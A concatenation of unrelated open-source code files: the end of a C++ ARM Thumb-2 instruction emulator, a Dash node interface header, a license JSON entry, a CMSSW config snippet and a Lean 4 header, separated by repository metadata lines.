uint32_t m = (instr >> 6) & 0x7;
bool setflags = !icpu_->InITBlock();
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t shifted = Rm;
uint32_t overflow;
uint32_t carry;
uint32_t result = AddWithCarry(Rn, ~shifted, 1, &overflow, &carry);
icpu_->setReg(d, result);
if (setflags) {
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 2;
}
};
class SUB_R_T2 : public T1Instruction {
public:
SUB_R_T2(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SUB.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
bool setflags = (ti >> 4) & 1;
uint32_t n = ti & 0xF;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t imm2 = (ti1 >> 6) & 0x3;
uint32_t type = (ti1 >> 4) & 0x3;
uint32_t m = ti1 & 0xF;
uint32_t shift_n;
uint32_t overflow;
uint32_t carry;
uint32_t result;
uint32_t shifted;
SRType shift_t = DecodeImmShift(type, (imm3 << 2) | imm2, &shift_n);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
if (BadReg(d) || n == Reg_pc || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
shifted = Shift_C(Rm, shift_t, shift_n, icpu_->getC(), &carry);
result = AddWithCarry(Rn, ~shifted, 1, &overflow, &carry);
// d Cannot be Reg_pc, see CMP (register) T3_CMP_R
icpu_->setReg(d, result);
if (setflags) {
// Mask 0x7 no need to check on SP or PC
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
icpu_->setV(overflow);
}
return 4;
}
};
/** 4.6.178 SUB (SP minus immediate) */
class SUBSP_I_T1 : public T1Instruction {
public:
SUBSP_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SUBSP") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t sp = static_cast<uint32_t>(R[Reg_sp]);
uint32_t instr = payload->buf16[0];
uint32_t imm32 = (instr & 0x7F) << 2;
uint32_t overflow;
uint32_t carry;
uint32_t result;
result = AddWithCarry(sp, ~imm32, 1, &overflow, &carry);
icpu_->setReg(Reg_sp, result);
// Not modify flags
return 2;
}
};
/** 4.6.182 SXTAB Signed Extend and Add Byte extracts */
class SXTAB_T1 : public T1Instruction {
public:
SXTAB_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SXTAB_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t rotation = ((ti1 >> 4) & 0x3) << 3;
uint32_t m = ti1 & 0xF;
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t carry;
if (BadReg(d) || n == Reg_sp || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
int8_t rotated = static_cast<int8_t>(ROR_C(Rm, rotation, &carry));
uint32_t result = Rn
+ static_cast<uint32_t>(static_cast<int32_t>(rotated));
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.185 SXTB Signed Extend Byte extract */
class SXTB_T1 : public T1Instruction {
public:
SXTB_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "SXTB_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
int8_t rotated = static_cast<int8_t>(R[m]); // no rotation
uint32_t result = static_cast<uint32_t>(static_cast<int32_t>(rotated));
icpu_->setReg(d, result);
return 2;
}
};
/** 4.6.188 TBB: Table Branch Cycle */
class TBB_T1 : public T1Instruction {
public:
TBB_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "TBB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf32[0];
uint32_t n = ti & 0xF;
uint32_t m = (ti >> 16) & 0xF;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t Rm = static_cast<uint32_t>(R[m]);
if (n == Reg_sp || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (icpu_->InITBlock() && !icpu_->LastInITBlock()) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (n == Reg_pc) {
Rn += 4;
}
trans_.addr = Rn + Rm;
trans_.action = MemAction_Read;
trans_.xsize = 1;
trans_.wstrb = 0;
icpu_->dma_memop(&trans_);
uint32_t halfwords = trans_.rpayload.b8[0];
uint32_t npc = static_cast<uint32_t>(icpu_->getPC()) + 4
+ (halfwords << 1);
BranchWritePC(npc);
return 4;
}
};
/** 4.6.192 TST (immediate) */
class TST_I_T1 : public T1Instruction {
public:
TST_I_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "TST.W") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti0 = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t carry;
uint32_t result;
uint32_t n = ti0 & 0xF;
uint32_t i = (ti0 >> 10) & 1;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm8 = ti1 & 0xFF;
uint32_t imm12 = (i << 11) | (imm3 << 8) | imm8;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t imm32 = ThumbExpandImmWithC(imm12, &carry);
if (BadReg(n)) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = Rn & imm32;
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
icpu_->setC(carry);
// V unchanged
return 4;
}
};
/** 4.6.193 TST (register) */
class TST_R_T1 : public T1Instruction {
public:
TST_R_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "TSTS") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t n = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t shifted = static_cast<uint32_t>(R[m]);
uint32_t result = Rn & shifted;
icpu_->setN((result >> 31) & 1);
icpu_->setZ(result == 0 ? 1: 0);
// C no shift, no change
// V unchanged
return 2;
}
};
/** 4.6.197 UBFX */
class UBFX_T1 : public T1Instruction {
public:
UBFX_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "UBFX") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti0 = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t result;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti0 & 0xF;
uint32_t imm3 = (ti1 >> 12) & 0x7;
uint32_t imm2 = (ti1 >> 6) & 0x3;
uint32_t lsbit = (imm3 << 2) | imm2;
uint32_t widthm1 = ti1 & 0x1F;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t msbit = lsbit + widthm1;
uint64_t mask = (1ull << (widthm1 + 1)) - 1;
if (BadReg(d) || BadReg(n) || msbit > 31) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = (Rn >> lsbit) & static_cast<uint32_t>(mask);
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.198 UDIV */
class UDIV_T1 : public T1Instruction {
public:
UDIV_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "UDIV") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t result;
if (BadReg(d) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (Rm == 0) {
if (icpu_->getDZ()) {
//icpu_->raiseSignal(ZeroDivide);
}
result = 0;
} else {
result = Rn / Rm;
}
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.207 UMULL */
class UMULL_T1 : public T1Instruction {
public:
UMULL_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "UMULL") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t dLo = (ti1 >> 12) & 0xF;
uint32_t dHi = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint64_t result;
if (BadReg(dLo) || BadReg(dHi) || BadReg(n) || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
if (dHi == dLo) {
RISCV_error("%s", "UNPREDICTABLE");
}
result = static_cast<uint64_t>(Rn) * static_cast<uint64_t>(Rm);
icpu_->setReg(dHi, static_cast<uint32_t>(result >> 32));
icpu_->setReg(dLo, static_cast<uint32_t>(result));
return 4;
}
};
/** 4.6.221 UXTAB */
class UXTAB_T1 : public T1Instruction {
public:
UXTAB_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "UXTAB_T1") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t n = ti & 0xF;
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t rotation = ((ti1 >> 4) & 0x3) << 3;
uint32_t m = ti1 & 0xF;
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t rotated;
uint32_t carry;
uint32_t result;
if (BadReg(d) || n == Reg_sp || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
rotated = ROR_C(Rm, rotation, &carry);
result = Rn + (rotated & 0xFF);
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.223 UXTAH */
class UXTAH_T1 : public T1Instruction {
public:
UXTAH_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "UXTAH") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 4;
}
uint32_t ti = payload->buf16[0];
uint32_t ti1 = payload->buf16[1];
uint32_t d = (ti1 >> 8) & 0xF;
uint32_t n = ti & 0xF;
uint32_t m = ti1 & 0xF;
uint32_t rotation = ((ti1 >> 4) & 0x3) << 3;
uint32_t Rm = static_cast<uint32_t>(R[m]);
uint32_t Rn = static_cast<uint32_t>(R[n]);
uint32_t rotated;
uint32_t carry;
uint32_t result;
if (BadReg(d) || n == Reg_sp || BadReg(m)) {
RISCV_error("%s", "UNPREDICTABLE");
}
rotated = ROR_C(Rm, rotation, &carry);
result = Rn + (rotated & 0xFFFF);
icpu_->setReg(d, result);
return 4;
}
};
/** 4.6.224 UXTB */
class UXTB_T1 : public T1Instruction {
public:
UXTB_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "UXTB") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
uint32_t Rm = static_cast<uint32_t>(R[m]);
// rotation = 0 no need to call ROR_C
icpu_->setReg(d, Rm & 0xFF);
return 2;
}
};
/** 4.6.226 UXTH */
class UXTH_T1 : public T1Instruction {
public:
UXTH_T1(CpuCortex_Functional *icpu) : T1Instruction(icpu, "UXTH") {}
virtual int exec(Reg64Type *payload) {
if (!ConditionPassed()) {
return 2;
}
uint32_t ti = payload->buf16[0];
uint32_t d = ti & 0x7;
uint32_t m = (ti >> 3) & 0x7;
uint32_t Rm = static_cast<uint32_t>(R[m]);
// rotation = 0 no need to call ROR_C
icpu_->setReg(d, Rm & 0xFFFF);
return 2;
}
};
void CpuCortex_Functional::addThumb2Isa() {
isaTableArmV7_[T1_ADC_I] = new ADC_I_T1(this);
isaTableArmV7_[T1_ADD_I] = new ADD_I_T1(this);
isaTableArmV7_[T2_ADD_I] = new ADD_I_T2(this);
isaTableArmV7_[T3_ADD_I] = new ADD_I_T3(this);
isaTableArmV7_[T1_ADD_R] = new ADD_R_T1(this);
isaTableArmV7_[T2_ADD_R] = new ADD_R_T2(this);
isaTableArmV7_[T3_ADD_R] = new ADD_R_T3(this);
isaTableArmV7_[T1_ADDSP_I] = new ADDSP_I_T1(this);
isaTableArmV7_[T2_ADDSP_I] = new ADDSP_I_T2(this);
isaTableArmV7_[T1_ADR] = new ADR_T1(this);
isaTableArmV7_[T1_AND_I] = new AND_I_T1(this);
isaTableArmV7_[T1_AND_R] = new AND_R_T1(this);
isaTableArmV7_[T2_AND_R] = new AND_R_T2(this);
isaTableArmV7_[T1_ASR_I] = new ASR_I_T1(this);
isaTableArmV7_[T1_B] = new B_T1(this);
isaTableArmV7_[T2_B] = new B_T2(this);
isaTableArmV7_[T3_B] = new B_T3(this);
isaTableArmV7_[T4_B] = new B_T4(this);
isaTableArmV7_[T1_BIC_I] = new BIC_I_T1(this);
isaTableArmV7_[T1_BKPT] = new BKPT_T1(this);
isaTableArmV7_[T1_BL_I] = new BL_I_T1(this);
isaTableArmV7_[T1_BLX_R] = new BLX_R_T1(this);
isaTableArmV7_[T1_BX] = new BX_T1(this);
isaTableArmV7_[T1_CBNZ] = new CBNZ_T1(this);
isaTableArmV7_[T1_CBZ] = new CBZ_T1(this);
isaTableArmV7_[T1_CMP_I] = new CMP_I_T1(this);
isaTableArmV7_[T2_CMP_I] = new CMP_I_T2(this);
isaTableArmV7_[T1_CMP_R] = new CMP_R_T1(this);
isaTableArmV7_[T2_CMP_R] = new CMP_R_T2(this);
isaTableArmV7_[T1_CPS] = new CPS_T1(this);
isaTableArmV7_[T1_EOR_I] = new EOR_I_T1(this);
isaTableArmV7_[T1_EOR_R] = new EOR_R_T1(this);
isaTableArmV7_[T1_IT] = new IT_T1(this);
isaTableArmV7_[T2_LDMIA] = new LDMIA_T2(this);
isaTableArmV7_[T1_LDR_I] = new LDR_I_T1(this);
isaTableArmV7_[T2_LDR_I] = new LDR_I_T2(this);
isaTableArmV7_[T3_LDR_I] = new LDR_I_T3(this);
isaTableArmV7_[T4_LDR_I] = new LDR_I_T4(this);
isaTableArmV7_[T1_LDR_L] = new LDR_L_T1(this);
isaTableArmV7_[T2_LDR_L] = new LDR_L_T2(this);
isaTableArmV7_[T1_LDR_R] = new LDR_R_T1(this);
isaTableArmV7_[T2_LDR_R] = new LDR_R_T2(this);
isaTableArmV7_[T1_LDRB_I] = new LDRB_I_T1(this);
isaTableArmV7_[T2_LDRB_I] = new LDRB_I_T2(this);
isaTableArmV7_[T3_LDRB_I] = new LDRB_I_T3(this);
isaTableArmV7_[T1_LDRB_R] = new LDRB_R_T1(this);
isaTableArmV7_[T2_LDRB_R] = new LDRB_R_T2(this);
isaTableArmV7_[T1_LDRH_I] = new LDRH_I_T1(this);
isaTableArmV7_[T2_LDRH_R] = new LDRH_R_T2(this);
isaTableArmV7_[T1_LDRSB_I] = new LDRSB_I_T1(this);
isaTableArmV7_[T1_LDRSB_R] = new LDRSB_R_T1(this);
isaTableArmV7_[T2_LDRSB_R] = new LDRSB_R_T2(this);
isaTableArmV7_[T1_LSL_I] = new LSL_I_T1(this);
isaTableArmV7_[T1_LSL_R] = new LSL_R_T1(this);
isaTableArmV7_[T2_LSL_R] = new LSL_R_T2(this);
isaTableArmV7_[T1_LSR_I] = new LSR_I_T1(this);
isaTableArmV7_[T1_LSR_R] = new LSR_R_T1(this);
isaTableArmV7_[T2_LSR_R] = new LSR_R_T2(this);
isaTableArmV7_[T1_MLA] = new MLA_T1(this);
isaTableArmV7_[T1_MLS] = new MLS_T1(this);
isaTableArmV7_[T1_MOV_I] = new MOV_I_T1(this);
isaTableArmV7_[T2_MOV_I] = new MOV_I_T2(this);
isaTableArmV7_[T3_MOV_I] = new MOV_I_T3(this);
isaTableArmV7_[T1_MOV_R] = new MOV_R_T1(this);
isaTableArmV7_[T2_MOV_R] = new MOV_R_T2(this);
isaTableArmV7_[T1_MUL] = new MUL_T1(this);
isaTableArmV7_[T2_MUL] = new MUL_T2(this);
isaTableArmV7_[T1_MVN_R] = new MVN_R_T1(this);
isaTableArmV7_[T1_NOP] = new NOP_T1(this);
isaTableArmV7_[T1_POP] = new POP_T1(this);
isaTableArmV7_[T2_POP] = new POP_T2(this);
isaTableArmV7_[T1_PUSH] = new PUSH_T1(this);
isaTableArmV7_[T1_ORR_I] = new ORR_I_T1(this);
isaTableArmV7_[T1_ORR_R] = new ORR_R_T1(this);
isaTableArmV7_[T2_ORR_R] = new ORR_R_T2(this);
isaTableArmV7_[T1_RSB_I] = new RSB_I_T1(this);
isaTableArmV7_[T2_RSB_I] = new RSB_I_T2(this);
isaTableArmV7_[T1_RSB_R] = new RSB_R_T1(this);
isaTableArmV7_[T1_SBFX] = new SBFX_T1(this);
isaTableArmV7_[T1_SDIV] = new SDIV_T1(this);
isaTableArmV7_[T1_SMULL] = new SMULL_T1(this);
isaTableArmV7_[T1_STMDB] = new STMDB_T1(this);
isaTableArmV7_[T1_STMIA] = new STMIA_T1(this);
isaTableArmV7_[T1_STR_I] = new STR_I_T1(this);
isaTableArmV7_[T2_STR_I] = new STR_I_T2(this);
isaTableArmV7_[T1_STR_R] = new STR_R_T1(this);
isaTableArmV7_[T2_STR_R] = new STR_R_T2(this);
isaTableArmV7_[T1_STRB_I] = new STRB_I_T1(this);
isaTableArmV7_[T2_STRB_I] = new STRB_I_T2(this);
isaTableArmV7_[T3_STRB_I] = new STRB_I_T3(this);
isaTableArmV7_[T1_STRB_R] = new STRB_R_T1(this);
isaTableArmV7_[T2_STRB_R] = new STRB_R_T2(this);
isaTableArmV7_[T1_STRD_I] = new STRD_I_T1(this);
isaTableArmV7_[T1_STRH_I] = new STRH_I_T1(this);
isaTableArmV7_[T2_STRH_I] = new STRH_I_T2(this);
isaTableArmV7_[T3_STRH_I] = new STRH_I_T3(this);
isaTableArmV7_[T1_SUB_I] = new SUB_I_T1(this);
isaTableArmV7_[T2_SUB_I] = new SUB_I_T2(this);
isaTableArmV7_[T3_SUB_I] = new SUB_I_T3(this);
isaTableArmV7_[T1_SUB_R] = new SUB_R_T1(this);
isaTableArmV7_[T2_SUB_R] = new SUB_R_T2(this);
isaTableArmV7_[T1_SUBSP_I] = new SUBSP_I_T1(this);
isaTableArmV7_[T1_SXTAB] = new SXTAB_T1(this);
isaTableArmV7_[T1_SXTB] = new SXTB_T1(this);
isaTableArmV7_[T1_TBB] = new TBB_T1(this);
isaTableArmV7_[T1_TST_I] = new TST_I_T1(this);
isaTableArmV7_[T1_TST_R] = new TST_R_T1(this);
isaTableArmV7_[T1_UBFX] = new UBFX_T1(this);
isaTableArmV7_[T1_UDIV] = new UDIV_T1(this);
isaTableArmV7_[T1_UMULL] = new UMULL_T1(this);
isaTableArmV7_[T1_UXTAB] = new UXTAB_T1(this);
isaTableArmV7_[T1_UXTAH] = new UXTAH_T1(this);
isaTableArmV7_[T1_UXTB] = new UXTB_T1(this);
isaTableArmV7_[T1_UXTH] = new UXTH_T1(this);
}
} // namespace debugger
| 62,827 |
1,573 | <gh_stars>1000+
// Copyright (c) 2018 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef BITCOIN_INTERFACES_NODE_H
#define BITCOIN_INTERFACES_NODE_H
#include <addrdb.h> // For banmap_t
#include <amount.h> // For CAmount
#include <net.h> // For CConnman::NumConnections
#include <netaddress.h> // For Network
#include <functional>
#include <memory>
#include <stddef.h>
#include <stdint.h>
#include <string>
#include <tuple>
#include <vector>
class CCoinControl;
class CDeterministicMNList;
class CFeeRate;
class CNodeStats;
class Coin;
class RPCTimerInterface;
class UniValue;
class proxyType;
enum class FeeReason;
struct CNodeStateStats;
namespace interfaces {
class Handler;
class Wallet;
//! Interface for the src/evo part of a dash node (dashd process).
class EVO
{
public:
virtual ~EVO() {}
virtual CDeterministicMNList getListAtChainTip() = 0;
};
//! Interface for the src/llmq part of a dash node (dashd process).
class LLMQ
{
public:
virtual ~LLMQ() {}
virtual size_t getInstantSentLockCount() = 0;
};
//! Interface for the src/masternode part of a dash node (dashd process).
namespace Masternode
{
class Sync
{
public:
virtual ~Sync() {}
virtual bool isBlockchainSynced() = 0;
virtual bool isSynced() = 0;
virtual std::string getSyncStatus() = 0;
};
}
namespace CoinJoin {
//! Interface for the global coinjoin options in src/coinjoin
class Options
{
public:
virtual int getRounds() = 0;
virtual int getAmount() = 0;
virtual void setEnabled(bool fEnabled) = 0;
virtual void setMultiSessionEnabled(bool fEnabled) = 0;
virtual void setRounds(int nRounds) = 0;
virtual void setAmount(CAmount amount) = 0;
virtual bool isMultiSessionEnabled() = 0;
virtual bool isEnabled() = 0;
// Static helpers
virtual bool isCollateralAmount(CAmount nAmount) = 0;
virtual CAmount getMinCollateralAmount() = 0;
virtual CAmount getMaxCollateralAmount() = 0;
virtual CAmount getSmallestDenomination() = 0;
virtual bool isDenominated(CAmount nAmount) = 0;
virtual std::vector<CAmount> getStandardDenominations() = 0;
};
}
//! Top-level interface for a dash node (dashd process).
class Node
{
public:
virtual ~Node() {}
//! Set command line arguments.
virtual void parseParameters(int argc, const char* const argv[]) = 0;
//! Set a command line argument if it doesn't already have a value
virtual bool softSetArg(const std::string& arg, const std::string& value) = 0;
//! Set a command line boolean argument if it doesn't already have a value
virtual bool softSetBoolArg(const std::string& arg, bool value) = 0;
//! Load settings from configuration file.
virtual void readConfigFile(const std::string& conf_path) = 0;
//! Choose network parameters.
virtual void selectParams(const std::string& network) = 0;
//! Get network name.
virtual std::string getNetwork() = 0;
//! Init logging.
virtual void initLogging() = 0;
//! Init parameter interaction.
virtual void initParameterInteraction() = 0;
//! Get warnings.
virtual std::string getWarnings(const std::string& type) = 0;
// Get log flags.
virtual uint64_t getLogCategories() = 0;
//! Initialize app dependencies.
virtual bool baseInitialize() = 0;
//! Start node.
virtual bool appInitMain() = 0;
//! Stop node.
virtual void appShutdown() = 0;
//! Start shutdown.
virtual void startShutdown() = 0;
//! Return whether shutdown was requested.
virtual bool shutdownRequested() = 0;
//! Setup arguments
virtual void setupServerArgs() = 0;
//! Map port.
virtual void mapPort(bool use_upnp) = 0;
//! Get proxy.
virtual bool getProxy(Network net, proxyType& proxy_info) = 0;
//! Get number of connections.
virtual size_t getNodeCount(CConnman::NumConnections flags) = 0;
//! Get stats for connected nodes.
using NodesStats = std::vector<std::tuple<CNodeStats, bool, CNodeStateStats>>;
virtual bool getNodesStats(NodesStats& stats) = 0;
//! Get ban map entries.
virtual bool getBanned(banmap_t& banmap) = 0;
//! Ban node.
virtual bool ban(const CNetAddr& net_addr, BanReason reason, int64_t ban_time_offset) = 0;
//! Unban node.
virtual bool unban(const CSubNet& ip) = 0;
//! Disconnect node.
virtual bool disconnect(NodeId id) = 0;
//! Get total bytes recv.
virtual int64_t getTotalBytesRecv() = 0;
//! Get total bytes sent.
virtual int64_t getTotalBytesSent() = 0;
//! Get mempool size.
virtual size_t getMempoolSize() = 0;
//! Get mempool dynamic usage.
virtual size_t getMempoolDynamicUsage() = 0;
//! Get header tip height and time.
virtual bool getHeaderTip(int& height, int64_t& block_time) = 0;
//! Get num blocks.
virtual int getNumBlocks() = 0;
//! Get last block time.
virtual int64_t getLastBlockTime() = 0;
//! Get last block hash.
virtual std::string getLastBlockHash() = 0;
//! Get verification progress.
virtual double getVerificationProgress() = 0;
//! Is initial block download.
virtual bool isInitialBlockDownload() = 0;
//! Get reindex.
virtual bool getReindex() = 0;
//! Get importing.
virtual bool getImporting() = 0;
//! Set network active.
virtual void setNetworkActive(bool active) = 0;
//! Get network active.
virtual bool getNetworkActive() = 0;
//! Get tx confirm target.
virtual unsigned int getTxConfirmTarget() = 0;
//! Get required fee.
virtual CAmount getRequiredFee(unsigned int tx_bytes) = 0;
//! Get minimum fee.
virtual CAmount getMinimumFee(unsigned int tx_bytes,
const CCoinControl& coin_control,
int* returned_target,
FeeReason* reason) = 0;
//! Get max tx fee.
virtual CAmount getMaxTxFee() = 0;
//! Estimate smart fee.
virtual CFeeRate estimateSmartFee(int num_blocks, bool conservative, int* returned_target = nullptr) = 0;
//! Get dust relay fee.
virtual CFeeRate getDustRelayFee() = 0;
//! Execute rpc command.
virtual UniValue executeRpc(const std::string& command, const UniValue& params, const std::string& uri) = 0;
//! List rpc commands.
virtual std::vector<std::string> listRpcCommands() = 0;
//! Set RPC timer interface if unset.
virtual void rpcSetTimerInterfaceIfUnset(RPCTimerInterface* iface) = 0;
//! Unset RPC timer interface.
virtual void rpcUnsetTimerInterface(RPCTimerInterface* iface) = 0;
//! Get unspent outputs associated with a transaction.
virtual bool getUnspentOutput(const COutPoint& output, Coin& coin) = 0;
//! Return interfaces for accessing wallets (if any).
virtual std::vector<std::unique_ptr<Wallet>> getWallets() = 0;
//! Return interface for accessing evo related handler.
virtual EVO& evo() = 0;
//! Return interface for accessing llmq related handler.
virtual LLMQ& llmq() = 0;
//! Return interface for accessing masternode related handler.
virtual Masternode::Sync& masternodeSync() = 0;
//! Return interface for accessing masternode related handler.
#ifdef ENABLE_WALLET
virtual CoinJoin::Options& coinJoinOptions() = 0;
#endif
//! Register handler for init messages.
using InitMessageFn = std::function<void(const std::string& message)>;
virtual std::unique_ptr<Handler> handleInitMessage(InitMessageFn fn) = 0;
//! Register handler for message box messages.
using MessageBoxFn =
std::function<bool(const std::string& message, const std::string& caption, unsigned int style)>;
virtual std::unique_ptr<Handler> handleMessageBox(MessageBoxFn fn) = 0;
//! Register handler for question messages.
using QuestionFn = std::function<bool(const std::string& message,
const std::string& non_interactive_message,
const std::string& caption,
unsigned int style)>;
virtual std::unique_ptr<Handler> handleQuestion(QuestionFn fn) = 0;
//! Register handler for progress messages.
using ShowProgressFn = std::function<void(const std::string& title, int progress, bool resume_possible)>;
virtual std::unique_ptr<Handler> handleShowProgress(ShowProgressFn fn) = 0;
//! Register handler for load wallet messages.
using LoadWalletFn = std::function<void(std::unique_ptr<Wallet> wallet)>;
virtual std::unique_ptr<Handler> handleLoadWallet(LoadWalletFn fn) = 0;
//! Register handler for number of connections changed messages.
using NotifyNumConnectionsChangedFn = std::function<void(int new_num_connections)>;
virtual std::unique_ptr<Handler> handleNotifyNumConnectionsChanged(NotifyNumConnectionsChangedFn fn) = 0;
//! Register handler for network active messages.
using NotifyNetworkActiveChangedFn = std::function<void(bool network_active)>;
virtual std::unique_ptr<Handler> handleNotifyNetworkActiveChanged(NotifyNetworkActiveChangedFn fn) = 0;
//! Register handler for notify alert messages.
using NotifyAlertChangedFn = std::function<void()>;
virtual std::unique_ptr<Handler> handleNotifyAlertChanged(NotifyAlertChangedFn fn) = 0;
//! Register handler for ban list messages.
using BannedListChangedFn = std::function<void()>;
virtual std::unique_ptr<Handler> handleBannedListChanged(BannedListChangedFn fn) = 0;
//! Register handler for block tip messages.
using NotifyBlockTipFn =
std::function<void(bool initial_download, int height, int64_t block_time, const std::string& block_hash, double verification_progress)>;
virtual std::unique_ptr<Handler> handleNotifyBlockTip(NotifyBlockTipFn fn) = 0;
//! Register handler for header tip messages.
using NotifyHeaderTipFn =
std::function<void(bool initial_download, int height, int64_t block_time, const std::string& block_hash, double verification_progress)>;
virtual std::unique_ptr<Handler> handleNotifyHeaderTip(NotifyHeaderTipFn fn) = 0;
//! Register handler for masternode list update messages.
using NotifyMasternodeListChangedFn =
std::function<void(const CDeterministicMNList& newList)>;
virtual std::unique_ptr<Handler> handleNotifyMasternodeListChanged(NotifyMasternodeListChangedFn fn) = 0;
//! Register handler for additional data sync progress update messages.
using NotifyAdditionalDataSyncProgressChangedFn =
std::function<void(double nSyncProgress)>;
virtual std::unique_ptr<Handler> handleNotifyAdditionalDataSyncProgressChanged(NotifyAdditionalDataSyncProgressChangedFn fn) = 0;
};
//! Return implementation of Node interface.
std::unique_ptr<Node> MakeNode();
} // namespace interfaces
#endif // BITCOIN_INTERFACES_NODE_H
| 3,630 |
1,443 | <reponame>cssence/mit-license<filename>users/the-zumata-team.json
{
"copyright": "The Zumata Team",
"url": "https://github.com/Zumata",
"email": "<EMAIL>",
"format": "html"
}
| 77 |
852 | <reponame>ckamtsikis/cmssw
import FWCore.ParameterSet.Config as cms
muonsCleaned = cms.EDProducer("PFMuonUntagger",
muons = cms.InputTag("muons"),
badmuons = cms.VInputTag(),
)
| 81 |
1,538 | <reponame>tballmsft/lean4<filename>stage0/src/util/map_foreach.h
/*
Copyright (c) 2019 Microsoft Corporation. All rights reserved.
Released under Apache 2.0 license as described in the file LICENSE.
Author: <NAME>
*/
#pragma once
#include <functional>
#include "runtime/object.h"
namespace lean {
/* Helper functions for iterating over Lean maps. */
void rbmap_foreach(b_obj_arg m, std::function<void(b_obj_arg, b_obj_arg)> const & fn);
void phashmap_foreach(b_obj_arg m, std::function<void(b_obj_arg, b_obj_arg)> const & fn);
void hashmap_foreach(b_obj_arg m, std::function<void(b_obj_arg, b_obj_arg)> const & fn);
void smap_foreach(b_obj_arg m, std::function<void(b_obj_arg, b_obj_arg)> const & fn);
}
| 266 |
543 | <reponame>Dynamite12138/NLPwork
